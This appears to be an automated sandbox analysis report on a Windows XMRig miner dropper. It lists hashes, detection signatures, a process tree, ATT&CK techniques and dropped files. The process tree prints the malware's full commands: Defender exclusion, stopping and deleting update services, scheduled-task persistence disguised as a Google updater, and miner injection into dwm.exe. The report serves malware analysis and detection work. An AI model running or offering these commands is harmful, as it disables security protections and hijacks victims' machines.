Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-09-2022 16:06

General

  • Target

    2d149bca64703b7cf996a772ba91423da1e1f11dbae522f3e4d3b34095d3b89d.exe

  • Size

    4.0MB

  • MD5

    41382215636e83ce55d622ce7f15733a

  • SHA1

    aff94de054bb404000c010c4713998ddc6905626

  • SHA256

    2d149bca64703b7cf996a772ba91423da1e1f11dbae522f3e4d3b34095d3b89d

  • SHA512

    94216303bf4455bc2a8de631c453bef013c1fab36f28c167c3488730d430713f0f117561bff3137697732b3bf16cab74b772fad79a36fc7c06e5be6fbaafe98d

  • SSDEEP

    98304:jgFNGMRUCTguDUdjIF1qZHEfgg1AE1AQamhsDUoYX4:jYN7bThDUdj+qxEYGAE1AQuR

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 3 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d149bca64703b7cf996a772ba91423da1e1f11dbae522f3e4d3b34095d3b89d.exe
    "C:\Users\Admin\AppData\Local\Temp\2d149bca64703b7cf996a772ba91423da1e1f11dbae522f3e4d3b34095d3b89d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2424
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        3⤵
        • Launches sc.exe
        PID:4324
      • C:\Windows\system32\sc.exe
        sc stop WaaSMedicSvc
        3⤵
        • Launches sc.exe
        PID:1084
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        3⤵
        • Launches sc.exe
        PID:1520
      • C:\Windows\system32\sc.exe
        sc stop bits
        3⤵
        • Launches sc.exe
        PID:4308
      • C:\Windows\system32\sc.exe
        sc stop dosvc
        3⤵
        • Launches sc.exe
        PID:5004
      • C:\Windows\system32\reg.exe
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        3⤵
          PID:4196
        • C:\Windows\system32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
          3⤵
            PID:1160
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
            3⤵
            • Modifies security service
            PID:4508
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
            3⤵
              PID:1684
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
              3⤵
                PID:1852
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell <#drbpb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3644
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell <#zfalrzu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3544
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                3⤵
                  PID:4128
            • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3388
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:356
              • C:\Windows\system32\cmd.exe
                cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4652
                • C:\Windows\system32\sc.exe
                  sc stop UsoSvc
                  3⤵
                  • Launches sc.exe
                  PID:3496
                • C:\Windows\system32\sc.exe
                  sc stop WaaSMedicSvc
                  3⤵
                  • Launches sc.exe
                  PID:4804
                • C:\Windows\system32\sc.exe
                  sc stop wuauserv
                  3⤵
                  • Launches sc.exe
                  PID:852
                • C:\Windows\system32\sc.exe
                  sc stop bits
                  3⤵
                  • Launches sc.exe
                  PID:1340
                • C:\Windows\system32\sc.exe
                  sc stop dosvc
                  3⤵
                  • Launches sc.exe
                  PID:808
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                  3⤵
                    PID:192
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                    3⤵
                      PID:164
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                      3⤵
                        PID:3232
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                        3⤵
                          PID:3988
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                          3⤵
                            PID:4356
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell <#drbpb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4688
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe llktminrzivp
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4432
                          • C:\Windows\system32\cmd.exe
                            cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                            3⤵
                              PID:1192
                          • C:\Windows\system32\cmd.exe
                            cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4612
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic PATH Win32_VideoController GET Name, VideoProcessor
                              3⤵
                                PID:1008
                            • C:\Windows\system32\dwm.exe
                              C:\Windows\system32\dwm.exe qtbgcbbuyarrseoa 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUGu8K1XCwbSh+ypLRcuGVjKHCqkQEbMjFPp2wEHUk/2YPEa7u8eDtaLNsvMtmfnW7pfZpWBLC28ol0YuaRyoAomoKg0M+MybStmWANwpbdJc3A2uC6nbgxCBAPoLOO1OuubEuAZTBCdX/xrrcvKnB4H9LwgUyVl9z4LaBunuWLn9L+984DlEL8pLkHAhoqzbgnzq2Q8UulW3Pe1gu+jesqTUbmj//6+fiMhPgKixPwrGz+CELGutufbQREgiXW/NQvg1coXmscuZ6yQ7RnXXKH4GsnmWjjAo51w5WaTYtMM4tqi5n6yulrtZsexR2Y9abHIdInko1dNj2btVqFpVDPxbdEbNaQGAVINOHgf8WWal3b6c2wr6mRVWR/3OEXgmNHc0PdsvyYK2oX+Nd+NLu2R15GYAs/dQrH+CfI88Ko8ilwYx+F3flcrT35XvHxF1c
                              2⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1892

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Persistence

                          Modify Existing Service

                          2
                          T1031

                          Defense Evasion

                          Modify Registry

                          1
                          T1112

                          Impair Defenses

                          1
                          T1562

                          Impact

                          Service Stop

                          1
                          T1489

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            Filesize

                            3KB

                            MD5

                            8592ba100a78835a6b94d5949e13dfc1

                            SHA1

                            63e901200ab9a57c7dd4c078d7f75dcd3b357020

                            SHA256

                            fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

                            SHA512

                            87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            Filesize

                            1KB

                            MD5

                            65c8499b7e69d7dd364815dbae2b6989

                            SHA1

                            23df5d601dbd83f5a6f686f952448b0cc21d3b92

                            SHA256

                            599dd04a954cb0a826224cf627d38d0bea8ee3d0896d0733ee731e114197d73e

                            SHA512

                            1695633aafa095c510fb19895c6d28bf12ea597b873751e68a0a2364c34cce2322631945047e639fd1f165c60fd4e1f1fcf39acd4b714b7d25d50381f7e6ffdf

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            Filesize

                            1KB

                            MD5

                            3fd2e7427285bcbc00dcc0dc49b40196

                            SHA1

                            d6e56706c26665d2be693ab870898d340beb4bdd

                            SHA256

                            2d861694a1ec8b3863a81ba0df740390eb7d01835e4ca4eee367aba797891956

                            SHA512

                            78048f1543f538d0acc6777de939207ae30cea312e551bf86ccfd31779c92194a7774b0f342ff2d95e0876169755f008d08fdf76f2fb2e4ecab73564c1e7a3b0

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            Filesize

                            1KB

                            MD5

                            99f3c4e76ac63484d214fb91349644e8

                            SHA1

                            f065388679a20bd59e75166ba9174b8fe8c510bf

                            SHA256

                            a01e65c4ee2ce09215f4e35db060152f1ab5f21ce84cfa954118cc724bfe4e9c

                            SHA512

                            c9a0a4b5c13d381875485316ce56f56839dd76bc53fd574139830817252ad0e1ffcdf64f408d1942a3c95541181d07c15ecff9f20b5f0de3890490de0f530e67

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            Filesize

                            1KB

                            MD5

                            b048bf8754fa7e5cec67d8cd464c8bf9

                            SHA1

                            511440b7c0eba55472dad88c574a367ce4907456

                            SHA256

                            5d1954206c50f6f1107b7622dbc812e2f7de31a4fe7ef6a0985505701bd9f9b3

                            SHA512

                            3fc4dc6bc9037508ee3f85a1c471114133a7984c78d75214add56f2dec47996abc2f9a1bd93f0b120760932e1a99d5450204e44490bc23f254e30a0641086c72

                          • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                            Filesize

                            4.0MB

                            MD5

                            c5eccb1c34f5b5280b63739c2c0c09e8

                            SHA1

                            e2005f576140f66759cb8a68c4aec4f94e61b94b

                            SHA256

                            9853e0d5a9fdc25ab4021d8dfbe7f0ba1bfbfd6f19e4e3ea96b9cce93026760c

                            SHA512

                            71d1d82077aec3b924b4f3d4def6d0fc184c4c8586d76f3f41f917e742b5398c134631175ca4f243db538b6c8fe8daf19c23e02736cbef71d5ec61a78fc6a4dd

                          • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                            Filesize

                            4.0MB

                            MD5

                            c5eccb1c34f5b5280b63739c2c0c09e8

                            SHA1

                            e2005f576140f66759cb8a68c4aec4f94e61b94b

                            SHA256

                            9853e0d5a9fdc25ab4021d8dfbe7f0ba1bfbfd6f19e4e3ea96b9cce93026760c

                            SHA512

                            71d1d82077aec3b924b4f3d4def6d0fc184c4c8586d76f3f41f917e742b5398c134631175ca4f243db538b6c8fe8daf19c23e02736cbef71d5ec61a78fc6a4dd

                          • C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
                            Filesize

                            226B

                            MD5

                            fdba80d4081c28c65e32fff246dc46cb

                            SHA1

                            74f809dedd1fc46a3a63ac9904c80f0b817b3686

                            SHA256

                            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                            SHA512

                            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                          • memory/164-288-0x0000000000000000-mapping.dmp
                          • memory/192-285-0x0000000000000000-mapping.dmp
                          • memory/356-226-0x0000000000000000-mapping.dmp
                          • memory/808-276-0x0000000000000000-mapping.dmp
                          • memory/852-273-0x0000000000000000-mapping.dmp
                          • memory/1008-315-0x0000000000000000-mapping.dmp
                          • memory/1084-166-0x0000000000000000-mapping.dmp
                          • memory/1160-179-0x0000000000000000-mapping.dmp
                          • memory/1192-314-0x0000000000000000-mapping.dmp
                          • memory/1340-274-0x0000000000000000-mapping.dmp
                          • memory/1520-169-0x0000000000000000-mapping.dmp
                          • memory/1684-185-0x0000000000000000-mapping.dmp
                          • memory/1852-188-0x0000000000000000-mapping.dmp
                          • memory/1892-328-0x0000016C44700000-0x0000016C44720000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-323-0x0000016BB19E0000-0x0000016BB1A00000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-319-0x0000016BB0010000-0x0000016BB0030000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-318-0x00007FF7A8A325D0-mapping.dmp
                          • memory/1892-324-0x00007FF7A8240000-0x00007FF7A8A34000-memory.dmp
                            Filesize

                            8.0MB

                          • memory/1892-320-0x00007FF7A8240000-0x00007FF7A8A34000-memory.dmp
                            Filesize

                            8.0MB

                          • memory/1892-330-0x0000016C44700000-0x0000016C44720000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-325-0x0000016BB1A20000-0x0000016BB1A40000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-326-0x0000016BB1A20000-0x0000016BB1A40000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-329-0x0000016BB1A20000-0x0000016BB1A40000-memory.dmp
                            Filesize

                            128KB

                          • memory/1892-327-0x0000016BB1A20000-0x0000016BB1A40000-memory.dmp
                            Filesize

                            128KB

                          • memory/2424-131-0x000001F39EE00000-0x000001F39EE76000-memory.dmp
                            Filesize

                            472KB

                          • memory/2424-126-0x000001F39EC50000-0x000001F39EC72000-memory.dmp
                            Filesize

                            136KB

                          • memory/2424-120-0x0000000000000000-mapping.dmp
                          • memory/3232-289-0x0000000000000000-mapping.dmp
                          • memory/3496-267-0x0000000000000000-mapping.dmp
                          • memory/3544-206-0x0000000000000000-mapping.dmp
                          • memory/3644-160-0x0000000000000000-mapping.dmp
                          • memory/3696-159-0x0000000000000000-mapping.dmp
                          • memory/3988-306-0x0000000000000000-mapping.dmp
                          • memory/4128-223-0x0000000000000000-mapping.dmp
                          • memory/4196-176-0x0000000000000000-mapping.dmp
                          • memory/4308-172-0x0000000000000000-mapping.dmp
                          • memory/4324-161-0x0000000000000000-mapping.dmp
                          • memory/4356-307-0x0000000000000000-mapping.dmp
                          • memory/4432-309-0x00007FF7B55914E0-mapping.dmp
                          • memory/4508-184-0x0000000000000000-mapping.dmp
                          • memory/4612-312-0x0000000000000000-mapping.dmp
                          • memory/4652-264-0x0000000000000000-mapping.dmp
                          • memory/4688-265-0x0000000000000000-mapping.dmp
                          • memory/4804-271-0x0000000000000000-mapping.dmp
                          • memory/5004-175-0x0000000000000000-mapping.dmp